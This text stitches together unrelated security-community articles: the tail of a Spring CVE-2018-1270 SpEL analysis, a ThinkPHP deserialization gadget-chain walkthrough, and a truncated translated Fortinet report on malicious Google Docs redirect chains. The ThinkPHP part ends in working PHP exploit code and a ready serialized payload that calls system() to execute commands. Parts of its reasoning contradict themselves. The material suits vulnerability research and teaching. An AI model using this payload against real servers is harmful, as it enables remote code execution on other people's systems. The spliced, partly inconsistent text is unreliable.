通过两次`getSubscriptions`操作，此时取出了先前的配置信息，sub变量值如下：
接下去第 207 行将selector表达式取出：
Expression expression = sub.getSelectorExpression();
第217行：
try {
if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {
result.add(sessionId, subId);
}
}
通过调用了`expression.getValue(context,
Boolean.class)`，触发payload，执行了spel表达式，远程命令执行成功。
#### 资料
* [spring-guides/gs-messaging-stomp-websocket](https://github.com/spring-guides/gs-messaging-stomp-websocket "spring-guides/gs-messaging-stomp-websocket")
* [spring-framework-reference: websocket-stomp](https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#websocket-stomp "spring-framework-reference: websocket-stomp")
* [springmvc(18)使用WebSocket 和 STOMP 实现消息功能](https://blog.csdn.net/pacosonswjtu/article/details/51914567 "springmvc\(18\)使用WebSocket 和 STOMP 实现消息功能")
* [CaledoniaProject/CVE-2018-1270](https://github.com/CaledoniaProject/CVE-2018-1270/ "CaledoniaProject/CVE-2018-1270")
* [0c0c0f师傅微博](https://m.weibo.cn/status/4226169915929781?sudaref=xz.aliyun.com&display=0&retcode=6102 "0c0c0f师傅微博")
* * * | 社区文章 |
## 目录结构
这里是看了w0s1np师傅的目录结构，嘻嘻.....
project 应用部署目录
├─application 应用目录（可设置）
│ ├─common 公共模块目录（可更改）
│ ├─index 模块目录(可更改)
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录
│ │ ├─model 模型目录
│ │ ├─view 视图目录
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共（函数）文件
│ ├─config.php 应用（公共）配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录（可定义）
├─public WEB 部署目录（对外访问目录）
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录（可写，可设置）
├─vendor 第三方类库目录（Composer）
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件（可选）
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件（参考）
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
## 利用链分析
众所周知， **wakeup()和**
destruct()这两种魔术方法在反序列化中是十分重要的存在，在面对这么大量的代码时，我们可以以这两种函数为切入点，来找出反序列化漏洞。
__wakeup() //执行unserialize()时，先会调用这个函数
__destruct() //对象被销毁时调用
找到切入点之后，用seay全局查询一下那里用到了这两种魔术方法
然后就是审计代码找可以利用的点了
<?php
namespace League\Flysystem;
final class SafeStorage
{
/**
* @var string
*/
private $hash;
/**
* @var array
*/
protected static $safeStorage = [];
public function __construct()
{
$this->hash = spl_object_hash($this);
static::$safeStorage[$this->hash] = [];
}
public function storeSafely($key, $value)
{
static::$safeStorage[$this->hash][$key] = $value;
}
public function retrieveSafely($key)
{
if (array_key_exists($key, static::$safeStorage[$this->hash])) {
return static::$safeStorage[$this->hash][$key];
}
}
public function __destruct()
{
unset(static::$safeStorage[$this->hash]);
}
}
第一个存在这个方法的是一个安全储存的部分，用于登录啥的，不存在我们要寻找的东西。
再看下一段
/**
* Disconnect on destruction.
*/
public function __destruct()
{
$this->disconnect();
}
这一块也没啥用，这里的销毁是用于连接断开时销毁，这一块代码主要是关于适配器的，是将某个类的接口转换成客户端期望的另一个接口表示，主要的目的是兼容性
，让原本因接口不匹配不能一起工作的两个类可以协同工作。
再看下一段
<?php
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Cached\CacheInterface;
use League\Flysystem\Util;
abstract class AbstractCache implements CacheInterface
{
/**
* @var bool
*/
protected $autosave = true;
/**
* @var array
*/
protected $cache = [];
/**
* @var array
*/
protected $complete = [];
/**
* Destructor.
*/
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
根据文件名判断应该也是个差不多的玩意，但是只要`$this->autosave`为`false`那么就可以调用`save`方法
/**
* {@inheritdoc}
*/
public function autosave()
{
if ($this->autosave) {
$this->save();
}
}
没啥用继续往下看。
但是继续跟进save方法就没有相关方法了，先放在一边，我们再看下一块。
在`vendor\topthink\think-orm\src\Model.php`中找到了比较有嫌疑的
/**
* 析构方法
* @access public
*/
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
这里只要让`this->lazySave`为true就可以成功运行，调用`save`方法。跟进一下看看`save`方法是个啥
public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
其中这一句比较关键
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
这里只要`this->isEmpty()`或`false === $this->trigger('BeforeWrite')`就会返回false
里面一个条件为真才能不直接`return`，也即需要两个条件：
$this->isEmpty()==false
$this->trigger('BeforeWrite')==true
第一个条件需要继续跟进`isEmpty()`，我们先放一下，第二个条件是当`this`触发`BeforeWrite`的结果是`true`
再看`trigger('BeforeWrite')`，位于`ModelEvent`类中：
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
.....
}
让`$this->withEvent==false`即可满足第二个条件，
我们跟进`isEmpty()`。
/**
* 判断模型是否为空
* @access public
* @return bool
*/
public function isEmpty(): bool
{
return empty($this->data);
}
可以看到他的作用是判断模型是否为空的，所以只要`$this->data`不为空就ok
让`$this->data!=null`即可满足这个条件。
再看这一句
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
这里的意思是如果`this->exists`结果为`true`，那么就采用`this->updateData()`，如果不是就采用`this->insertData($sequence)`
/**
* 设置数据是否存在
* @access public
* @param bool $exists
* @return $this
*/
public function exists(bool $exists = true)
{
$this->exists = $exists;
return $this;
}
这里可以看到结果是为`true`的，所以我们跟进`updateData()`
/**
* 保存写入数据
* @access protected
* @return bool
*/
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}
$this->checkData();
// 获取有更新的数据
$data = $this->getChangedData();
if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 检查允许字段
$allowFields = $this->checkAllowFields();
这里的话想要执行`checkAllowFields()`方法需要绕过前面的两个if判断，必须满足两个条件
$this->trigger('BeforeUpdate')==true
$data!=null
第一个条件上面已经满足了，只要关注让`data`不等于`null`就可以了
找找`data`的来源，跟进`getChangedData()`方法，在`/vendor/topthink/think-orm/src/model/concern/Attribute.php`中
/**
* 获取变化的数据 并排除只读数据
* @access public
* @return array
*/
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}
return $data;
}
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b)
这一句如果`this->force`结果为`true`，那么便执行`this->data`，如果不是那么就会执行`array_udiff_assoc($this->data,
$this->origin, function ($a, $b)`
但因为`force`没定义默认为`null`，所以进入了第二种情况，由于`$this->data,
$this->origin`默认也不为null，所以不符合第一个`if`判断，最终`$data=0`，也即满足前面所提的第二个条件，`$data!=null`。
然后回到`checkAllowFields()`方法，查看一下他是如何调用的。
/**
* 检查数据是否允许写入
* @access protected
* @return array
*/
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
$field = $this->field;
if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}
if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}
return $field;
}
这里在第10-15行代码中可以看到，如果想进入宗福拼接操作，就需要进入else中，所以我们要使`$this->field =
array_keys(array_merge($this->schema,
$this->jsonType));`不成立，那么就需要让`$this->field=null`，`$this->schema=null`。
在第14行中出现了`$this->table .
$this->suffix`这一字符串拼接，存在可控属性的字符拼接，可以触发`__toString`魔术方法，把`$this->table`设为触发`__toString`类即可。所以可以找一个有`__tostring`方法的类做跳板，寻找`__tostring`，
在`/vendor/topthink/think-orm/src/model/concern/Conversion.php`中找到了
/**
* 转换当前模型对象为JSON字符串
* @access public
* @param integer $options json参数
* @return string
*/
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
public function __toString()
{
return $this->toJson();
}
看来使需要使用`toJson()`，跟进一下
没找到相关，再看一眼代码，发现第九行中调用了`toArray()`方法，然后以`json`格式返回
那我们再看看`toArray()`方法
public function toArray(): array
{
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
根据第34行和第44行，第34行是遍历给定的数组语句`data`数组。每次循环中，当前单元的之被赋给`val`并且数组内部的指针向前移一步（因此下一次循环中将会得到下一个单元），同时当前单元的键名也会在每次循环中被赋给变量`key`。第44行是将`val`和`key`相关联起来，漏洞方法是`getAtrr`触发，只需把`$data`设为数组就行。
在第47和49行中存在`getAttr`方法，那触发条件是啥呢？
`$this->visible[$key]`需要存在，而`$key`来自`$data`的键名，`$data`又来自`$this->data`，即`$this->data`必须有一个键名传给`$this->visible`，然后把键名`$key`传给`getAttr`方法，那岂不是默认就能触发...?
跟进`getAttr`方法，`vendor/topthink/think-orm/src/model/concern/Attribute.php`
/**
* 获取器 获取数据对象的值
* @access public
* @param string $name 名称
* @return mixed
* @throws InvalidArgumentException
*/
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
在第18行中可以看到漏洞方法是`getValue`，但传入`getValue`方法中的`$value`是由`getData`方法得到的。
那就进一步跟进`getData`方法
/**
* 获取当前对象数据 如果不存在指定字段返回false
* @access public
* @param string $name 字段名 留空获取全部
* @return mixed
* @throws InvalidArgumentException
*/
public function getData(string $name = null)
{
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
可以看到`$this->data`是可控的（第16行），而其中的`$fieldName`来自`getRealFieldName`方法。
跟进`getRealFieldName`方法
/**
* 获取实际的字段名
* @access protected
* @param string $name 字段名
* @return string
*/
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}
return $name;
}
当`$this->strict`为`true`时直接返回`$name`，即键名`$key`
返回`getData`方法，此时`$fieldName=$key`，进入`if`语句，返回`$this->data[$key]`，再回到`getAttr`方法，
return $this->getValue($name, $value, $relation);
即返回
return $this->getValue($name, $this->data[$key], $relation);
跟进`getValue`方法
/**
* 获取经过获取器处理后的数据对象的值
* @access protected
* @param string $name 字段名称
* @param mixed $value 字段值
* @param bool|string $relation 是否为关联属性或者关联名
* @return mixed
* @throws InvalidArgumentException
*/
protected function getValue(string $name, $value, $relation = false)
{
// 检测属性获取器
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->get)) {
return $this->get[$fieldName];
}
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
$closure = $this->withAttr[$fieldName];
if ($closure instanceof \Closure) {
$value = $closure($value, $this->data);
}
}
} elseif (method_exists($this, $method)) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
第30行中，如果我们让`$closure`为我们想执行的函数名，`$value`和`$this->data`为参数即可实现任意函数执行。
所以需要查看`$closure`属性是否可控，跟进`getRealFieldName`方法，
protected function getRealFieldName(string $name): string
{
if ($this->convertNameToCamel || !$this->strict) {
return Str::snake($name);
}
如果让`$this->strict==true`，即可让`$$fieldName`等于传入的参数`$name`，即开始的`$this->data[$key]`的键值`$key`，可控
又因为`$this->withAttr`数组可控，所以，`$closure`可控·，值为`$this->withAttr[$key]`，参数就是`$this->data`，即`$data`的键值，
所以我们需要控制的参数：
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true
## EXP编写
### 捋一下
链子太长了，重新捋一下参数的传递过程，要不就懵了，倒着捋慢慢往前分析
先看`__toString()`的触发
Conversion::__toString()
Conversion::toJson()
Conversion::toArray() //出现 $this->data 参数
Attribute::getAttr()
Attribute::getValue() //出现 $this->json 和 $this->withAttr 参数
Attribute::getJsonValue() // 造成RCE漏洞
首先出现参数可控的点在`Conversion::toArray()`中（第二行），在这里如果控制`$this->data=['whoami'=>['whoami']]`，那么经过`foreach`遍历（第四行），传入`Attribute::getAttr()`函数的`$key`也就是`whoami`（19行）
// 合并关联数据
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
然后在`Attribute::getAttr()`函数中，通过`getData()`函数从`$this->data`中拿到了数组中的`value`后返回
public function getAttr(string $name)
{
try {
$relation = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
getData()返回的是数组中相应的value，所以第5行的`$this->getData($name)`也就是`$this->getData($value=['whoami'])`
在`Attribute::getValue()`函数中对`withAttr`和`json`参数进行了验证
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
第2行的if语句中需要`$this->withAttr[$fieldName]`存在的同时需要是一个数组，`$this->withAttr['whoami'=>['system']]`
第7行if语句中中是判断`$fieldName`是否在`$this->json`中，即`in_array($fieldName,
$this->json)`，所以只需要`$this->json=['whoami']`
接下来分析一下`__destruct()`的触发过程
Model::__destruct()
Model::save()
Model::updateData()
Model::checkAllowFields()
Model::db() // 触发 __toString()
首先在`Model::__destruct()`中`$this->lazySave`需要为`true`，参数可控
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}
}
`$this->lazySave=true`
然后在`Model::save()` 需要绕过`isEmpty()`和`$this->exists`参数
// 数据对象赋值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
if (false === $result) {
return false;
}
第4行的`$this->trigger('BeforeWrite')`是默认为`true`的，所以只要`$this->data`不为空即可
第8行中如果`this->exists`结果为`true`，那么就采用`this->updateData()`，如果不是就采用`this->insertData($sequence)`所以我们需要让`this->exists`结果为`true`
那么最后就是`Model::db()`方法，保证`$this->table`能触发`__toString()`（第八行）
public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}
### 编写
首先`Model`类是一个抽象类，不能实例化，所以要想利用，得找出 `Model` 类的一个子类进行实例化，而且`use`了刚才`__toString`
利用过程中使用的接口`Conversion`和`Attribute`，所以关键字可以直接用
将上面捋出来的需要的属性全部重新编写
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
全局搜索`extends Model`，找到一个`Pivot`类继承了`Model`
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
}
// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D | 社区文章 |
# Cookie Maker：隐藏在Google Docs中的恶意网络
##### 译文声明
本文是翻译文章，文章原作者 Fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/cookie-maker-inside-the-google-docs-malicious-network.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
FortinetGuard实验室最近发现了使用Google
Docs的一次攻击活动，攻击者在此次攻击活动中打着Fortinet以及FortiGuard的旗号。当我们检查文档样本时，我们发现这个恶意网络中存在一条非常长的重定向链，并且这条重定向链的最后一跳会根据受害者的IP及user-agent特征而有所区别。这个恶意网络针对的是所有主流操作系统平台：Windows、Android以及MacOS。
在本文中，我们分析了此次攻击活动流经的跳转路径，以及针对Windows平台的恶意样本。在本文末尾，我们分析了追踪溯源相关信息，尝试寻找隐藏在这些攻击活动背后的黑手。
## 二、恶意文档
2018年夏季，有研究人员发现带有基于特定链接访问策略的Google文档可能会被爬虫索引入库。这样一来，许多单位的内部文档就可以被公开访问。比如有个真实案例，俄罗斯银行关于招聘政策的一份摘要文档就引起了人权人士的关注。在该文档中，招聘方阐述了一项政策，禁止招聘带有特定宗教信仰或者性取向的某些人群。
还有包含明文密码的许多文档被公之于众。由于我们可以在Google文档网页中搜索“password”，轻松检索到这类文档，因此问题变得非常糟糕。当然如果现在大家迫不及待想偷窥别人的隐私，可能得三思而后行，至少先阅读完本文再说，事情并没表面上看起来那么简单。
当FortiGuard实验室团队听到这个消息后，我们亲自动手搜索了一次，想看看有没有Fortinet内部文档被公之于众。我们并没有发现泄露的内部文档，只发现了Fortinet设备的默认密码（我们在文档中使用的都是同一个密码，这并非秘密信息）。
话虽如此，我们的努力并没有白费，因为我们还发现了一些有趣的东西。比如，搜索“Fortiguard”关键词后的结果如下：
图1. Google搜索“Fortiguard”的结果
我们在Google上找到了168条结果（有趣的是，Google搜索结果实际上与用户IP所属国家有关）。在168条搜索结果中，实际上有超过150条与攻击者构造的文档有关（比例超过了90%，是不是迫不及待想阅读这些“私密”文件）。
搜索“Fortinet”关键词后，我们可以找到750个结果。大家可以在本文附录找到其中一些文档的链接。文档链接数之所以比搜索结果数量要少，是因为许多搜索结果指向的是同一个文档。随着调查的进一步深入，大家可以理解攻击者如何实现这种效果。
此外，Fortinet并非牵扯其中的唯一单位。我们发现如果在Google中搜索网络安全领域中的知名厂商，还可以看到一百多个（甚至更多）恶意文档。此时我们意识到我们面对的是一次攻击活动，攻击者已经将数千个恶意文档插入Google
Docs中。
## 三、恶意文档分析
分析了许多这类恶意文档后，我们发现这些文档采用不同的语言编写，但主要语言为英语及俄语。尽管存在语言差异，但这些文档都具备相同的结构。文档都包含一个大标题，然后跟着一小张图片（主题不一定与标题相关），然后是使用大字体的一个超链接。这类文档如下图所示：
图2. 恶意文档样本
在超链接下面有许多空白空间，攻击者通过这种方式来隐藏插入在文档底部的“垃圾文本”。然而，这种“垃圾文本”的目的是借助各种不同的关键词，使爬虫能够成功索引这类文件。这也解释了为什么Google搜索结果数量会比实际的Google文档数量要少，因为许多链接指向的是同一个文档。
图3. 某个恶意文档稳步的“垃圾文本”样例
## 四、分析恶意链接
如果受害者点击恶意文档中的超链接，那么浏览器会执行一系列重定向操作。根据GET请求中user-agent字段的不同以及用户IP地址的不同，所访问的最终目的地也有所不同。
### 重定向链
在这一章节中，我们将分析恶意样本所生成的重定向链，恶意样本标题为“Fortiguard web filtering bypass software free
download”。该文档如图2左上角所示。分析其他文档上的链接后我们也能得到类似结果。
首先，使用新加坡VPN IP地址（我们使用的地址）及Google Chrome浏览器所对应的User-Agent信息（我们所使用的浏览器）后，我们能看到如下一条重定向链：
1. hxxp://vbtrst[.]pro/dnew?k=Fortiguard+web+filtering+bypass+software+free+download
2. hxxp://sxkwor[.]space/rtb/s/APEN2FuhOAAA4dsBAFNHGQASAGmZEJMA
3. hxxp://11fileupload-2[.]xyz/it…fA==
4. hxxp://static.21.101.69.159.clients.your-server[.]de/file?f=ae…05&utm_source=APEN2FuhOAAA4dsBAFNHGQASAGmZEJMA&utm_medium=14497&utm_campaign=default
5. hxxps://thimbleprojects[.]org/dedzsumkoi/528138/?method=blob&type=download&name=Rm9ydGlndWFyZF93ZWJfZmlsdGVyaW5nX2J5cGFzc19zb2Z0d2FyZV9mcmVlX2Rvd24ucmFy&v=
eyJ0cmFuc2FjdGlvbl9pZCI6IjU0ODAyMjI1NiIsInRva2VuIjoiOWM0MDVmOTIwYTdhYTI2ODE0MzdkMjRkZGRhNTM2YTUifQ%3D%3D
6. hxxps://4requests[.]org/findic.php?v=eyJ0cmFuc2FjdGlvbl9pZCI6IjU0ODAyMjI1NiIsInRva2VuIjoiOWM0MDVmOTIwYTdhYTI2ODE0MzdkMjRkZGRhNTM2YTUifQ=="
下面我们来看一下每个URL中存在的一些特殊参数：
1、
“hxxp://vbtrst[.]pro/dnew?k=Fortiguard+web+filtering+bypass+software+free+download“
第一个链接的参数非常明显，重复了文档的标题。
2、 “hxxp://sxkwor[.]space/rtb/s/*APEN2FuhOAAA4dsBAFNHGQASAGmZEJMA*”
第二个URL的参数为经过BASE64编码的一组字节：
* 前6个字节为采用小端字节序（little-endian）的[UNIX Epoch时间戳](https://en.wikipedia.org/wiki/Unix_time)，如下图绿色高亮部分。
* 随后2个字节为[小端字节序](https://en.wikipedia.org/wiki/Endianness)的utm_medium编号，如下图黄色高亮部分。我们将在本文中介绍这个字段的用途。
* 第13及第14个字节（从0开始计数）为ASCII编码的国别代码（这次使用大端字节序，如下图红色高亮部分）。当我们使用不同的IP时这个字段的值也有所不同。俄罗斯和新加坡IP地址所得到的不同结果如下图所示：
图4. 新加坡IP（左图）及俄罗斯IP（右图）所得到的不同参数
3、“hxxp://11fileupload-2[.]xyz/ it…fA==”
这个参数是经过BASE64编码的一个字符串（另外还经过混淆处理）。为了保证文章排版紧凑，这里我们删减了这个参数长度。
4、“hxxp://static.21.101.69.159.clients.your-server[.]de/file?f=ae…05&utm_source=APEN2FuhOAAA4dsBAFNHGQASAGmZEJMA&utm_medium=14497&utm_campaign=default”
这里我们可以看到与步骤2相同BASE64编码。除此之外，utm_medium的值为14497。14497对应的是十六进制的0x38A1，或者0xA1
0x38（小端字节序）。有趣的是，这个值与图4中黄色高亮部分的值相同。
5、“hxxps://thimbleprojects[.]org/dedzsumkoi/528138/?…
method=blob&type=download&name=Rm9ydGlndWFyZF93ZWJfZmlsdGVyaW5nX2J5cGFzc19zb2Z0d2FyZV9mcmVlX2Rvd24ucmFy&v=
eyJ0cmFuc2FjdGlvbl9pZCI6IjU0ODAyMjI1NiIsInRva2VuIjoiOWM0MDVmOTIwYTdhYTI2ODE0MzdkMjRkZGRhNTM2YTUifQ%3D%3D”
攻击者在这个URL中滥用了Mozilla的[在线代码编辑器](https://thimble.mozilla.org/en-US/)。我们从该参数中能够提取出有意义的参数名及对应的BASE64编码值。解码后的URL如下所示：
method=blob&type=download&name=Fortiguard_web_filtering_bypass_software_free_down.rar&v={"transaction_id":"548022256","token":"9c405f920a7aa2681437d24ddda536a5"}
如上所示，我们又一次看到文档的名称，但这次使用的是.rar扩展名。此时出现同一个文档名就像是魔术一样，如果我们在步骤2中只看到24节长的参数，并且没有看到用来跟踪已访问URL的Referrer字段，这里我们怎么会看到至少54字节长的一个文件名呢？此外，我们最近发现，这些字节大部分与时间戳或者受害者IP地址有关，跟文档名没有关系。
有一种可能：维护vbtrst[.]pro的攻击者以及滥用thimbleprojects.org的攻击者是同一拨人。这样就可能维护一个共享数据库，所有文档的名称都对应某些数字。通过这种方式，只传输几个字节（数据库记录中的编号）就能恢复初始文档的全名。此外，很有可能utm_medium字段就服务于这个场景。
6、“hxxps://4requests[.]org/findic.php?v=eyJ0cmFuc2FjdGlvbl9pZCI6IjU0ODAyMjI1NiIsInRva2VuIjoiOWM0MDVmOTIwYTdhYTI2ODE0MzdkMjRkZGRhNTM2YTUifQ
==”
这个参数与上一步使用的参数相同（解码后为{“transaction_id”:”548022256″,”token”:”9c405f920a7aa2681437d24ddda536a5″}）
到目前大家可能已经猜得到，多个重定向后用户会下载如下文件：
Fortiguard_web_filtering_bypass_software_free_down.rar
在这个压缩文档内部还有一个恶意的PE文件，我们会在本文的Windows样本分析中讨论这方面内容。
### 与User-Agent字段的关系
如前文所述，这条重定向链与受害者的User-Agent字段紧密相关（下文我们使用UA来指代User-Agent）。
IE浏览器
如果使用IE11对应的UA，那么会得到如下重定向链：
Vbtrst[.]pro -> sxkwor[.]space -> 11fileupload-2[.]xyz -> static.21.101.69.159.clients.your-server[.]de
